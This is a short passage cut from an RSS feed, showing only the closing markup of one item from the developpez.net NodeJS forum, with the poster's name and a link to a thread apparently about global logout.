
]]></content:encoded>
			<category domain="https://www.developpez.net/forums/f2137/javascript/nodejs/">NodeJS</category>
			<dc:creator>sylvain257</dc:creator>
			<guid isPermaLink="true">https://www.developpez.net/forums/d2177188/javascript/nodejs/deconnexion-globale/</guid>
		</item>
	</channel>
</rss>
